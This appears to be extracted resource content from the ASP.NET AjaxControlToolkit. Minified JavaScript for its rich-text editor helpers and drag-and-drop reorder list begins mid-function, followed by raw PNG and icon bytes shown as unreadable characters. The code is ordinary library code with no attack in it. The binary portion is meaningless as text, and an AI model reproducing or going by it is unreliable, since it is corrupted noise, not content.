a.appendChild(e)}for(var D=r.getPseudoP_Recur(e,g,t+1),v=0;v<D.length;v++){n[d]=D[v];d++}e!=l&&e.parentNode.removeChild(e);g!=m&&g.parentNode.removeChild(g)}else{for(var N=0,O=a.childNodes.length,w=N;w<O;w++){var E=a.childNodes.item(w);if(!AjaxControlToolkit.HTMLEditor.isTempElement(E)){c[f]=E;f++}}if(c.length>0){n[d]=c;d++;c=[];f=0}}}}else{if(f>0){n[d]=c;d++;c=[];f=0}c[f]=a;n[d]=c;d++;c=[];f=0}}if(a==h)break;a=a.nextSibling}if(f>0)n[d]=c}return n};AjaxControlToolkit.HTMLEditor.unWrap=function(a,f){var d="BR",e=this;if(a.firstChild){while(a.firstChild&&a.firstChild.nodeType==3&&""+a.firstChild.data+""=="")a.removeChild(a.firstChild);var b=[];while(a.firstChild){a.firstChild!=f[0]&&a.firstChild!=f[1]&&b.push(a.firstChild);a.parentNode.insertBefore(a.firstChild,a)}if(b.length==0){var g=e._doc.createElement(d);a.parentNode.insertBefore(g,a)}if(AjaxControlToolkit.HTMLEditor.isIE&&b.length==1&&b[0].nodeType==3){var h=""+b[0].data+"";if(h.length==1&&h.charCodeAt(0)==160){var g=e._doc.createElement(d);b[0].parentNode.insertBefore(g,b[0]);b[0].parentNode.removeChild(b[0])}}while(a.nextSibling&&a.nextSibling.nodeType==3&&""+a.nextSibling.data+""=="")a.parentNode.removeChild(a.nextSibling);var c=a.previousSibling&&f[1]==a.previousSibling?f[1].previousSibling:a.previousSibling;if(c&&AjaxControlToolkit.HTMLEditor.isInlineElement(c))if(c.nodeType==1&&c.childNodes.length>0)c=AjaxControlToolkit.HTMLEditor._getReallyLast(c);if(AjaxControlToolkit.HTMLEditor.isInlineElement(c)&&a.nextSibling!=null){var g=e._doc.createElement(d);a.parentNode.insertBefore(g,a)}}else{var g=e._doc.createElement(d);a.parentNode.insertBefore(g,a)}a.parentNode.removeChild(a)};AjaxControlToolkit.HTMLEditor.tryUnWrap=function(b,m,e){var g="undefined",l=this;b.style.textAlign="";for(var h=0,i=b.attributes,f=0;f<i.length;++f){var j=i.item(f);if(!j.specified)continue;if(j.name.toLowerCase()=="style")continue;h++}var k=b.style.cssText,d=0,a,c=b.tagName.toUpperCase();if(!(typeof e!=g&&e))if(c!="LI")try{a=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"margin-top"));if(isNaN(a))a=c=="P"?1:0;d+=a;a=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"margin-bottom"));if(isNaN(a))a=c=="P"?1:0;d+=a;a=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"margin-right"));if(isNaN(a))a=c=="P"?1:0;d+=a;a=parseInt(AjaxControlToolkit.HTMLEditor.getStyle(b,"margin-left"));if(isNaN(a))a=c=="P"?1:0;d+=a}catch(n){d=1}b.style.margin="";if(h==0&&b.style.cssText.length==0&&d==0||typeof e!=g&&e&&c!="LI"){l.unWrap(b,m);return true}else{b.style.cssText=k;return false}};AjaxControlToolkit.HTMLEditor._queryCommandValue=function(n,o){var e="font-size",l="font-family",g=null,d=this,f=d._rangeStartEnd();if(f==g)return "";try{if(n.toLowerCase()=="backcolor"){var i=f.start;while(i){var j=AjaxControlToolkit.HTMLEditor.getStyle(i,"background-color").toLowerCase();if(j.length>0&&j!="transparent")return j;i=i.parentNode}return "#FFFFFF"}var c="none";switch(n.toLowerCase()){case "forecolor":c="color";break;case "fontname":c=l;break;case "fontsize":c=e}var b;if((c==e||c==l)&&d._FontNotSet){b="";var a=f.start;while(a!=g){if(c==e){if(a.style&&a.style.fontSize&&a.style.fontSize.length>0){b=a.style.fontSize;break}else if(a.tagName&&a.tagName.toUpperCase()=="FONT"&&a.size&&a.size.length>0){b=AjaxControlToolkit.HTMLEditor.fontSizeSeek(a.size);break}}else if(a.style&&a.style.fontFamily&&a.style.fontFamily.length>0){b=a.style.fontFamily;break}else if(a.tagName&&a.tagName.toUpperCase()=="FONT"&&a.face&&a.face.length>0){b=a.face;break}if(a.className&&a.className.length>0){b=AjaxControlToolkit.HTMLEditor.getStyle(a,c).toLowerCase();if(c==e)if(!AjaxControlToolkit.HTMLEditor.isIE)b=AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(b,d,o);break}var h=a.tagName.toUpperCase();if(h=="BODY"||h=="TD")break;a=a.parentNode}}else{b=AjaxControlToolkit.HTMLEditor.getStyle(f.start,c).toLowerCase();if(c==e)if(!AjaxControlToolkit.HTMLEditor.isIE){b=AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(b,d,o);var a=f.start;while(a!=g){if(a.style&&a.style.fontSize&&a.style.fontSize.length>0){b=a.style.fontSize;break}if(a.className&&a.className.length>0)break;var h=a.tagName.toUpperCase();if(h=="BODY"||h=="TD")break;a=a.parentNode}}}if(d._StyleForTyping!=g&&d._StyleForTyping.length>0)for(var k=0;k<d._StyleForTyping.length;k++){var m=d._StyleForTyping[k];if(m.name==c){b=m.value;break}}return b}catch(p){return ""}};�
Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.DraggableListItem=function(c){var b=null,a=this;AjaxControlToolkit.DraggableListItem.initializeBase(a,[c]);a._data=b;a._handle=b;a._dragVisualTemplate=b;a._dragVisualTemplateInstance=b;a._mouseDownHandler=b};AjaxControlToolkit.DraggableListItem.prototype={dispose:function(){var a=this.get_element();this.set_handle(null);AjaxControlToolkit.DraggableListItem.callBaseMethod(this,"dispose")},get_data:function(){var a=this;if(a._data==null){var b=a._findDragSource();if(b!=null&&AjaxControlToolkit.DragDropList.IsValidDataType(b.get_dragDataType()))return a.get_element()}return a._data},set_data:function(a){if(this._data!=a){this._data=a;this.raisePropertyChanged("data")}},get_handle:function(){return this._handle},set_handle:function(b){var c="mousedown",a=this;if(a._handle!=null){$removeHandler(a._handle,c,a.get_mouseDownHandler());a._handle.__draggableBehavior=null}if(b){if(b.element)b=b.element;a._handle=b;a.raisePropertyChanged("handle");a._handle.__draggableBehavior=a;$addHandler(a._handle,c,a.get_mouseDownHandler());a._handle.__draggableBehavior=a}else a._handle=null},get_mouseDownHandler:function(){var a=this;if(a._mouseDownHandler==null)a._mouseDownHandler=Function.createDelegate(a,a._onMouseDown);return a._mouseDownHandler},get_dragVisualTemplate:function(){return this._dragVisualTemplate},set_dragVisualTemplate:function(a){if(this._dragVisualTemplate!=a){this._dragVisualTemplate=a;this.raisePropertyChanged("dragVisualTemplate")}},_onMouseDown:function(a){window._event=a.rawEvent;this._handle.__draggableBehavior._mouseDownHandlerInternal(a)},_mouseDownHandlerInternal:function(b){var a=this,b=window.testEvent?window.testEvent:b;if(b.button<=1){var c=a._findDragSource();if(c!=null){var d=a._createDragVisual();c.startDragDrop(a.get_element(),a.get_data(),d);b.returnValue=false}}},_createDragVisual:function(){var a=this,c=window.testEvent?window.testEvent:window.event;if(a._dragVisualTemplate!=null){if(a._dragVisualTemplateInstance==null)a._dragVisualTemplateInstance=a._dragVisualTemplate.cloneElement();else!Sys.UI.DragDropManager._getInstance().hasParent(a._dragVisualTemplateInstance)&&a.get_element().appendChild(a._dragVisualTemplateInstance);var b={x:c.clientX,y:c.clientY};b=Sys.UI.DragDropManager._getInstance().addPoints(b,Sys.UI.DragDropManager._getInstance().getScrollOffset(document.body,true));$common.setLocation(a._dragVisualTemplateInstance,b)}return a._dragVisualTemplateInstance},_findDragSource:function(){var a=this.get_element();while(a!=null){if(a.__dragDropList!=null)return a.__dragDropList;a=a.parentNode}return null}};AjaxControlToolkit.DraggableListItem.registerClass("AjaxControlToolkit.DraggableListItem",AjaxControlToolkit.BehaviorBase);�7Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.RepeatDirection=function(){throw Error.invalidOperation();};AjaxControlToolkit.RepeatDirection.prototype={Vertical:0,Horizontal:1};AjaxControlToolkit.RepeatDirection.registerEnum("AjaxControlToolkit.RepeatDirection");AjaxControlToolkit.DragDropList=function(c){var b=null,a=this;AjaxControlToolkit.DragDropList.initializeBase(a,[c]);a._acceptedDataTypes=[];a._isDragging=b;a._dataType=b;a._dragMode=AjaxControlToolkit.DragMode.Move;a._dragVisual=b;a._direction=AjaxControlToolkit.RepeatDirection.Vertical;a._emptyTemplate=b;a._emptyTemplateInstance=b;a._dropCueTemplate=b;a._dropCueTemplateInstance=b;a._floatContainerInstance=b;a._originalParent=b;a._originalNextSibling=b;a._originalZIndex=b;a._currentContext=b;a._data=b};AjaxControlToolkit.DragDropList.IsValidDataType=function(a){if(a&&typeof a=="string"&&a.length>=4)return a.substring(0,4)==="HTML";return false};AjaxControlToolkit.DragDropList.prototype={get_data:function(){return this._data},set_data:function(a){this._data=a},initialize:function(){var a=this;AjaxControlToolkit.DragDropList.callBaseMethod(a,"initialize");a.get_element().__dragDropList=a;AjaxControlToolkit.DragDropManager.registerDropTarget(a)},startDragDrop:function(d,c,b){var a=this;if(!a._isDragging){a._isDragging=true;a._currentContext=c;if(!b)b=a.createDragVisual(d);else a._dragVisual=b;AjaxControlToolkit.DragDropManager.startDragDrop(a,b,c,!(Sys.Browser.agent==Sys.Browser.InternetExplorer&&Sys.Browser.version>7&&Sys.Browser.documentMode!=0))}},createDragVisual:function(b){var a=this;if(a._dragMode===AjaxControlToolkit.DragMode.Copy)a._dragVisual=b.cloneNode(true);else a._dragVisual=b;var e=AjaxControlToolkit.DragDropManager._getInstance().getScrollOffset(b,true);a._dragVisual.preDragWidth=a._dragVisual.style.width;a._dragVisual.preDragHeight=a._dragVisual.style.height;a._dragVisual.style.width=b.offsetWidth+"px";a._dragVisual.style.height=b.offsetHeight+"px";a._dragVisual.style.opacity="0.4";a._dragVisual.style.filter="progid:DXImageTransform.Microsoft.BasicImage(opacity=0.4);";a._originalZIndex=a._dragVisual.style.zIndex;a._dragVisual.style.zIndex=99999;a._originalParent=a._dragVisual.parentNode;a._originalNextSibling=AjaxControlToolkit.DragDropManager._getInstance().getNextSibling(a._dragVisual);var f=$common.getLocation(b),c=a._getFloatContainer();$common.setLocation(c,f);AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._dragVisual)&&a._dragVisual.parentNode.removeChild(a._dragVisual);c.appendChild(a._dragVisual);var d=AjaxControlToolkit.DragDropManager._getInstance().getScrollOffset(b,true);if(e.x!==d.x||e.y!==d.y){var h=AjaxControlToolkit.DragDropManager._getInstance().subtractPoints(e,d),g=AjaxControlToolkit.DragDropManager._getInstance().subtractPoints(f,h);$common.setLocation(c,g)}return c},get_emptyTemplate:function(){return this._emptyTemplate},set_emptyTemplate:function(a){this._emptyTemplate=a},get_dragDataType:function(){return this._dataType},set_dragDataType:function(a){this._dataType=a},getDragData:function(a){return a},get_dragMode:function(){return this._dragMode},set_dragMode:function(a){this._dragMode=a},dispose:function(){AjaxControlToolkit.DragDropManager.unregisterDropTarget(this);this.get_element().__dragDropList=null;AjaxControlToolkit.DragDropList.callBaseMethod(this,"dispose")},onDragStart:function(){this._validate()},onDrag:function(){},onDragEnd:function(c){var b=null,a=this;if(a._floatContainerInstance){if(a._dragMode===AjaxControlToolkit.DragMode.Copy)a._floatContainerInstance.removeChild(a._dragVisual);else{a._dragVisual.style.opacity="0.999";a._dragVisual.style.filter="";a._dragVisual.style.zIndex=a._originalZIndex?a._originalZIndex:0;if(a._dragVisual.preDragWidth!=b){a._dragVisual.style.width=a._dragVisual.preDragWidth;a._dragVisual.preDragWidth=b}if(a._dragVisual.preDragHeight!=b){a._dragVisual.style.height=a._dragVisual.preDragHeight;a._dragVisual.preDragHeight=b}if(c){a._dragVisual.parentNode.removeChild(a._dragVisual);if(a._originalNextSibling!=b)a._originalParent.insertBefore(a._dragVisual,a._originalNextSibling);else a._originalParent.appendChild(a._dragVisual)}else a._dragVisual.parentNode===a._floatContainerInstance&&a._dragVisual.parentNode.removeChild(a._dragVisual)}document.body.removeChild(a._floatContainerInstance)}else a._dragVisual.parentNode.removeChild(a._dragVisual);if(!c&&a._data&&a._dragMode===AjaxControlToolkit.DragMode.Move){var d=a.getDragData(a._currentContext);a._data&&d&&Array.remove(a._data,d)}a._isDragging=false;a._validate()},get_direction:function(){return this._direction},set_direction:function(a){this._direction=a},get_acceptedDataTypes:function(){return this._acceptedDataTypes},set_acceptedDataTypes:function(a){if(typeof a=="string")this._acceptedDataTypes=a.split(",");else this._acceptedDataTypes=a},get_dropCueTemplate:function(){return this._dropCueTemplate},set_dropCueTemplate:function(a){this._dropCueTemplate=a},get_dropTargetElement:function(){return this.get_element()},canDrop:function(c,b){for(var a=0;a<this._acceptedDataTypes.length;a++)if(this._acceptedDataTypes[a]===b)return true;return false},drop:function(d,c,e){var a=this;if(AjaxControlToolkit.DragDropList.IsValidDataType(c)&&d===AjaxControlToolkit.DragMode.Move){dragVisual=e;var b=a._findPotentialNextSibling(dragVisual);a._setDropCueVisible(false,dragVisual);dragVisual.parentNode.removeChild(dragVisual);if(b)a.get_element().insertBefore(dragVisual,b);else a.get_element().appendChild(dragVisual)}else a._setDropCueVisible(false)},onDragEnterTarget:function(c,a,b){if(AjaxControlToolkit.DragDropList.IsValidDataType(a)){this._setDropCueVisible(true,b);this._validate()}},onDragLeaveTarget:function(b,a){if(AjaxControlToolkit.DragDropList.IsValidDataType(a)){this._setDropCueVisible(false);this._validate()}},onDragInTarget:function(c,a,b){AjaxControlToolkit.DragDropList.IsValidDataType(a)&&this._setDropCueVisible(true,b)},_setDropCueVisible:function(d,c){var a=this;if(a._dropCueTemplate)if(d){if(!a._dropCueTemplateInstance){var e=document.createDocumentFragment();a._dropCueTemplateInstance=a._dropCueTemplate.cloneNode(true)}var b=a._findPotentialNextSibling(c);if(!AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._dropCueTemplateInstance)){if(b)a.get_element().insertBefore(a._dropCueTemplateInstance,b);else a.get_element().appendChild(a._dropCueTemplateInstance);a._dropCueTemplateInstance.style.width=c.offsetWidth+"px";a._dropCueTemplateInstance.style.height=c.offsetHeight+"px"}else if(AjaxControlToolkit.DragDropManager._getInstance().getNextSibling(a._dropCueTemplateInstance)!==b){a.get_element().removeChild(a._dropCueTemplateInstance);if(b)a.get_element().insertBefore(a._dropCueTemplateInstance,b);else a.get_element().appendChild(a._dropCueTemplateInstance)}}else a._dropCueTemplateInstance&&AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._dropCueTemplateInstance)&&a.get_element().removeChild(a._dropCueTemplateInstance)},_findPotentialNextSibling:function(f){var b=this;for(var d=$common.getBounds(f),e=b._direction===0,c,a=b.get_element().firstChild;a!==null;a=a.nextSibling)if(a.innerHTML&&a!==b._dropCueTemplateInstance&&a!==b._emptyTemplateInstance){c=$common.getBounds(a);if(!e&&d.x<=c.x||e&&d.y<=c.y)return a}return null},_validate:function(){var a=this;for(var c=a._dropCueTemplateInstance==null||!AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._dropCueTemplateInstance),d=0,b=a.get_element().firstChild;b!==null;b=b.nextSibling)if(b.innerHTML&&b!==a._emptyTemplateInstance&&b!==a._dropCueTemplateInstance)d++;if(d>0)c=false;a._setEmptyTemplateVisible(c)},_setEmptyTemplateVisible:function(b){var a=this;if(a._emptyTemplate)if(b)if(!a._emptyTemplateInstance)a._emptyTemplateInstance=a._emptyTemplate.createInstance(a.get_element()).instanceElement;else!AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._emptyTemplateInstance)&&a.get_element().appendChild(a._emptyTemplateInstance);else a._emptyTemplateInstance&&AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._emptyTemplateInstance)&&a.get_element().removeChild(a._emptyTemplateInstance)},_getFloatContainer:function(){var a=this;if(!a._floatContainerInstance){a._floatContainerInstance=document.createElement(a.get_element().tagName);var b="0px 0px 0px 0px";a._floatContainerInstance.style.position="absolute";a._floatContainerInstance.style.padding=b;a._floatContainerInstance.style.margin=b;a._floatContainerInstance.className="dragVisualContainer";document.body.appendChild(a._floatContainerInstance)}else!AjaxControlToolkit.DragDropManager._getInstance().hasParent(a._floatContainerInstance)&&document.body.appendChild(a._floatContainerInstance);return a._floatContainerInstance}};AjaxControlToolkit.DragDropList.registerClass("AjaxControlToolkit.DragDropList",AjaxControlToolkit.BehaviorBase,AjaxControlToolkit.IDragSource,AjaxControlToolkit.IDropTarget,Sys.IDisposable);function callbackSuccessStub(c,d){var a=d.split(":"),e=a[0],b=$find(e);b&&b._onCallbackSuccess(c,a[1])}function callbackErrorStub(c,d){var a=d.split(":"),e=a[0],b=$find(e);alert("error");b&&b._onCallbackError(c,a[1])}AjaxControlToolkit.DragDropWatcher=function(c){var b=null,a=this;AjaxControlToolkit.DragDropWatcher.initializeBase(a,[c]);a._childList=[];a._inProgressDrops={};a._postbackCode=b;a._callbackCssStyle=b;a._argReplaceString=b;a._argContextString=b;a._argErrorString=b;a._argSuccessString=b};AjaxControlToolkit.DragDropWatcher.prototype={dispose:function(){AjaxControlToolkit.DragDropWatcher.callBaseMethod(this,"dispose")},initialize:function(){AjaxControlToolkit.DragDropWatcher.callBaseMethod(this,"initialize");this._saveChildOrder()},add_reorderComplete:function(a){this.get_events().addHandler("reorderComplete",a)},remove_reorderComplete:function(a){this.get_events().removeHandler("reorderComplete",a)},raiseReorderComplete:function(){var a=this.get_events().getHandler("reorderComplete");a&&a(this,Sys.EventArgs.Empty)},findChild:function(f,e){for(var c=0,d=f.childNodes,b=0;b<d.length;b++){var a=d[b];if(a!=null&&a.nodeName=="LI"){if(a.id==e)return c;c++}}return -1},canDrop:function(i,h,f){var b=this;if(b._inProgressDrops&&b._inProgressDrops.length>0)return false;var d=AjaxControlToolkit.DragDropWatcher.callBaseMethod(b,"canDrop",[i,h,f]);if(d){for(var g=$common.getBounds(f),e,c=false,j=b.get_element(),a=j.firstChild;a!=null&&!c;a=a.nextSibling){if(!a.id)continue;e=$common.getBounds(a);if(g.y<=e.y)break;c=a.id.lastIndexOf("Insert",a.id.length-6)!=-1}d=!c}return d},drop:function(g,f,e){var a=this;AjaxControlToolkit.DragDropWatcher.callBaseMethod(a,"drop",[g,f,e]);var b=e.id;if(!a._postbackCode||!b)return;var c=a.findChild(a.get_element(),b);Sys.Debug.assert(c!=-1,String.format(AjaxControlToolkit.Resources.ReorderList_DropWatcherBehavior_NoChild,b));var d=a._getSavedChildIndex(b);if(c!=-1&&c!=d){a._saveChildOrder();a.doPostBack(b,c,d)}},_setupDropState:function(a,c,d){if(a){var b=$get(a);this._inProgressDrops[a]={oldCss:b.className,newIndex:c,oldIndex:d};if(this._callbackCssStyle)b.className=this._callbackCssStyle}},_onDropCallback:function(a){var b=this;if(a){b.set_ClientState("true");var c=b._inProgressDrops[a];if(c){var d=$get(a);if(b._callbackCssStyle)d.className=c.oldCss;delete b._inProgressDrops[a]}return c}},doPostBack:function(c,d,e){var a=this,g=a._inProgressDrops[c];if(g)return;var f="reorder:"+c+":"+e.toString()+":"+d.toString(),b=a._postbackCode.replace(a._argReplaceString,f);if(a._argSuccessString)b=b.replace(a._argSuccessString,"callbackSuccessStub");if(a._argErrorString)b=b.replace(a._argErrorString,"callbackErrorStub");if(a._argContextString)b=b.replace(a._argContextString,a.get_id()+":"+c);a._setupDropState(c,d,e);window.setTimeout(b,0)},_onCallbackSuccess:function(a,b){if(a&&a.length>0)this._onCallbackError(a,b);else{this._onDropCallback(b);this.raiseReorderComplete()}},_onCallbackError:function(b,c){var a=this._onDropCallback(c);if(a.oldIndex||a.newIndex){this._saveChildOrder();this.doReorder(a.newIndex,a.oldIndex,true)}alert(String.format(AjaxControlToolkit.Resources.ReorderList_DropWatcherBehavior_CallbackError,b))},doReorder:function(b,a,h){var c=this,f=c.get_element(),e=c._childList;if(b>=0&&e.length>b&&b!=a){var d=$get(e[b]),j=c._inProgressDrops[d.id];if(j)return;if(d){if(a>b)a++;var i=a>=e.length;try{f.removeChild(d)}catch(k){}if(i)f.appendChild(d);else{var g=$get(e[a]);f.insertBefore(d,g)}if(!h)c.doPostBack(d.id,a,b);else{c._saveChildOrder();c.raiseReorderComplete()}}}},getItem:function(a){!this._childList&&this._saveChildOrder();return this._childList[a]},_getSavedChildIndex:function(b){if(this._childList&&b)for(var a=0;a<this._childList.length;a++)if(b==this._childList[a])return a;return -1},_saveChildOrder:function(){var c=this.get_element();if(!c)return;var b=c.childNodes;this._childList=[];for(var d=0,a=0;a<b.length;a++)if(b[a]&&b[a].parentNode===c&&b[a].tagName&&b[a].tagName.toLowerCase()=="li")this._childList[d++]=b[a].id},get_argReplaceString:function(){return this._argReplaceString},set_argReplaceString:function(a){if(this._argReplaceString!=a){this._argReplaceString=a;this.raisePropertyChanged("argReplaceString")}},get_argContextString:function(){return this._argContextString},set_argContextString:function(a){if(this._argContextString!=a){this._argContextString=a;this.raisePropertyChanged("argContextString")}},get_argErrorString:function(){return this._argErrorString},set_argErrorString:function(a){if(this._argErrorString!=a){this._argErrorString=a;this.raisePropertyChanged("argErrorString")}},get_argSuccessString:function(){return this._argSuccessString},set_argSuccessString:function(a){if(this._argSuccessString!=a){this._argSuccessString=a;this.raisePropertyChanged("argSuccessString")}},get_postbackCode:function(){return this._postbackCode},set_postbackCode:function(a){if(this._postbackCode!=a){this._postbackCode=a;this.raisePropertyChanged("postbackCode")}},get_callbackCssStyle:function(){return this._callbackCssStyle},set_callbackCssStyle:function(a){if(this._callbackCssStyle!=a){this._callbackCssStyle=a;this.raisePropertyChanged("callbackCssStyle")}}};AjaxControlToolkit.DragDropWatcher.registerClass("AjaxControlToolkit.DragDropWatcher",AjaxControlToolkit.DragDropList);4�PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	_IDATxڬ�kl���޹w��]{�L�q�l��5P�T%����"U��
BE� j�A��TT���R�K+	h�B�JC�Ą��ر�c?v��ٙ��<k�k�V�#�����ߞs�=�Ik��r5��_�R��SJ��ǁ�?��"����tx݀�z]74�J)��`"���qM
@�g)�����u j�f#4@8p v�С�z��|ߧcǎ�O�<Y
|^h~h*�LjzzzZ7�З�L$
a�����{��Lfw�V�L_�ت×ud��&f?���ѣG��9q�D��U(zddd���c�!�>�~��G���ȃ��=�c�]����hR"nko+������>��~�g�y�����*j�!P@�9sF+��w��/`�9o1_���n�u����������y=_��Ф�&
1��HƘ��M%o�ar��w���+���ȑ#g�C(7
��[o���3��5b
�y���;wl�|���~����GZ�sˁ�+�[��Ŵ����"Z�C��3w�F��)^���6�x����w�쩧������C#���^�3�b---
������߼��=���?st����w
��P�m�7�A�A��~�׮�u=VQy��d��tc����/�ehh��B�%7Lp
@�z�u]D�#�w|�ڋ�G�l��H�w3�	C˘`v���^�q΂J�+W*���)���P��T]��������������T$���_�L�Vk\2⥗^�W���ܹ�=X*��P]��qK2&�)�[�b��O�~���#��gG��)�PBp͹A�q�1�l!��\j���<�	V��Yt`@&��.hr�֭��}2�ǝ�iF*-mIA$a0���q�ł�Җ�z�&c�dd��S��BЙ��y׮]�����J�yV0>��4=vKe&��k�J1S0.9����F�d��"aHH)!���H�̈�ap�LrF�1]tUr6�f�]�"0F#��&���￾87ѧ�J:B\r1��v��6�����a�Mq�
BB�����:gXP�]$]�zZ{�\
�)�m�����̅&#05��K)���L&*#�tڰa�%�Lۤ���R���6���+���A"�+E���l�Z�y�e�T��/״;W���vnꉙ��`� �0��M����n�dˋ�
˴�8���ާ�Ÿ*,�#�JAJ	"���“���yXZZb�r��$�=nA�/M�R�T:E��YAXM �e0T*�t�+J�49\C$=�
E�>=��|�R)��u����!�ȤO
�Ќ�rT���v.��v�L7�!�S̸7=ړ6��C[�HZqA���09�G2!��#�����e���T,3ٮ�[��T�s�P(x����l6;��W�;z�ͱ*�47������p�K yc��)L�T����ۄ��Y]�uu��P�WQ��`���cD�W<���r��b�h�6�Q�ϟ�ޱg|{&u����h�	@�P�_"hU��.��6�Guv��e�ҀR0lE����H��Or��lv!,�X�Y��C�O�:�����6���d�d$��D" ��Ȱ��x�T����n��Ȱ�d8�D@2�I&@-mq*vmοzjf�P(,DZ�F�&�.��/_>wzV����"N�I@�V̈)���-��*0�`��D��H���-��{�f"����Fa�xo���0��:��G;nֹ-���fh�&<�/�ͧ�`�������+oR>�
$�;q��L����.--�(�@��tm��ިg�jg��y�-7��N�`�`8��Q�v�*sP��W��`�{IJ �@�o ��#g�(
��C�F׷�U�p�7��:>>~i��ĉ���{m�{�j"���<��8h%T^	گ���y�� �܊l�MW�ٙ�>�Yu]�
�|S
=��M�F��Ƴ266�A�\��|������u�`�O�z.���<X�(�ځ4SЙ-��F�ş�⟧������X=m��U����Ν;�-��<���z{ߖ�מ|h�-��t�R�*�
@������8<��<�셏.�-�G �B�#	�o�{�n(�0::�(",h6�8�c,m�����w�mKw�
3�Ts��b%�TN)�yP��b$<n�Z����UA533ӬDd��j�ED�,�u�GtR%bՍ�JD��յFn��f9+�Ì���
�\�7	����Ѷ
�L&׉�Z����m����l��~��
�Jr#�50�e��Zӎ�@�������5!�p�W�����%���G�D��n�p�W}��P���5IEND�B`�~ h(  J@.0J@.0J@.0J@.0J@.0J@.0J@.0J@.0DKD=+%I�K�p��r��t��v��x��z��}���Ʋ�����Os��	�?�s����������������������-���f��f������J@.0�v�������������������-���u�-���u��ܸ��J@.0�y����������������-���u���:��-����`1��R#ʝOV�}�������������-���u���:��-��������b�ŃU��[*��R!�樁����������-���u���:��-���/Yt��j-��T��ŗ��|��[*��U#R笅�������-���u���:��-���Y�������΄P��r?��S&��j-��e>��\+�诉����-���u���:��-���?\i�������U��j-��X��_1���d��d3���-���u���:��-�������,T]�n�r������ze�m]T��j-��i>��o��l;�-���	y���:��-�������}�Zki�q��,���+}��~��6Zq��T��zA��uC�Ů��-���:��-������������l�P��R��K��H��x{{��k6��sA��~LP�����-����������̭��ˬ�Șl���m��ſ�����Ց_�эX�̋Y�������������̭��������粅��u�ݡn�ڜj�֘fR�ģ�����������̭������̭��ո\�ǧ��ɩ��ˬ��ͮ��ϱ��ѳ��ҵ��Է��ֹ\��\���qiqi����5���?�   �( @ 